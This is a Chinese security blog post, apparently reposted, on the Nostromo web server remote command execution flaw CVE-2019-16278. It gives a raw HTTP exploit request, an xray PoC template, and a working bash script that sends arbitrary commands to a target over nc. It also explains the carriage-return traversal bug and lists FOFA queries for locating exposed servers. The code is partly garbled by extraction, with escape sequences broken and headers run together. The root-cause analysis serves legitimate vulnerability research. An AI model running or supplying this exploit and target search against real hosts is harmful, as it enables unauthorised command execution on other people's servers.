nostromo 远程命令执行 (CVE-2019-16278)

admin 2024年7月15日12:48:21评论746 views字数 1941阅读6分28秒阅读模式

(1)漏洞描述:

Nostromo web server(nhttpd)是一款开源的Web服务器。Nostromo由于在验证URL安全性方面存在缺陷,导致目录穿越,任何人都可以遍历系统中任何文件。因此未经过身份验证的远程攻击者可以强制服务器指向/bin/sh这样的shell文件,借此执行任意命令。

影响版本:nhttpd:version <= 1.9.6

nostromo 远程命令执行 (CVE-2019-16278)

(2)burp-POC:

POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Fri, 17 Apr 2020 09:45:11 GMTPriority: u=0, iContent-Length: 25echoechoifconfig 2>&1

nostromo 远程命令执行 (CVE-2019-16278)

(3)编写xray-poc并验证:

name: poc-yaml-nostromo-directory-rcemanual: truetransport: httprules:    r0:        request:            cache: true            method: POST            path: /.%0d./.%0d./.%0d./.%0d./bin/sh            headers:                Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryUr8laykKAWws2QO            body: |-                echo                echo                ifconfig 2>&1            follow_redirects: false        expression: response.status == 200expression: r0()detail:    author: sz

(4)网上poc:

使用命令:

./cve-2019-16278.sh [ip] [port] 命令

#!/usr/bin/env bashHOST="$1"PORT="$2"shift 2(     echo -n -e 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0rn';     echo -n -e 'Content-Length: 1rnrnechonechon';     echo "$@ 2>&1" ) | nc "$HOST" "$PORT"   | sed --quiet --expression ':S;/^r$/{n;bP};n;bS;:P;n;p;bP'

nostromo 远程命令执行 (CVE-2019-16278)

(5)漏洞原理:

源码下载链接:http://www.nazgul.ch/dev/nostromo-1.9.6.tar.gz

首先,服务器会验证请求然后处理它。

nostromo 远程命令执行 (CVE-2019-16278)

在上图的函数http_verify()中,请求的首行会先进行解码,然后检查/../是否存在。注意,此时攻击请求的首行包含/.r./.r./.r./.r./bin/sh

nostromo 远程命令执行 (CVE-2019-16278)

nostromo 远程命令执行 (CVE-2019-16278)

  • 检查header字符串是否包含子串"/../",这是目录遍历攻击的常用模式。

  • 如果找到了这个子串,就会执行花括号内的代码。

接下来,函数http_proc()会将首行传递给函数http_header()

nostromo 远程命令执行 (CVE-2019-16278)

漏洞根源就在这,函数http_header()会通过函数strcutl()解析数据。

nostromo 远程命令执行 (CVE-2019-16278)

而在函数strcutl()的内部,你可以看到它会把字符串中的r(回车)去除。

nostromo 远程命令执行 (CVE-2019-16278)

最后,得到的路径是/../../../../bin/sh。那么,目录穿越完成,命令执行如何进行呢?在函数http_proc()中的execve()函数(用于执行指定程序)中,它执行了rh->rq_filef,这正是路径过滤后的结果/../../../../bin/sh

nostromo 远程命令执行 (CVE-2019-16278)

    • 这一行检查当前字符是否不等于回车符(r)。

    • 如果当前字符不是回车符,则将其复制到目标缓冲区 dst 中。

于是,我们就得到了一个可导致RCE的目录穿越!

(6)资产搜索:

fofa语法:

"Server: nostromo"

icon_hash="-587741716"

nostromo 远程命令执行 (CVE-2019-16278)

nostromo 远程命令执行 (CVE-2019-16278)

原文始发于微信公众号(帅ZI学安全):nostromo 远程命令执行 (CVE-2019-16278)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月15日12:48:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   nostromo 远程命令执行 (CVE-2019-16278)https://cn-sec.com/archives/2953564.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息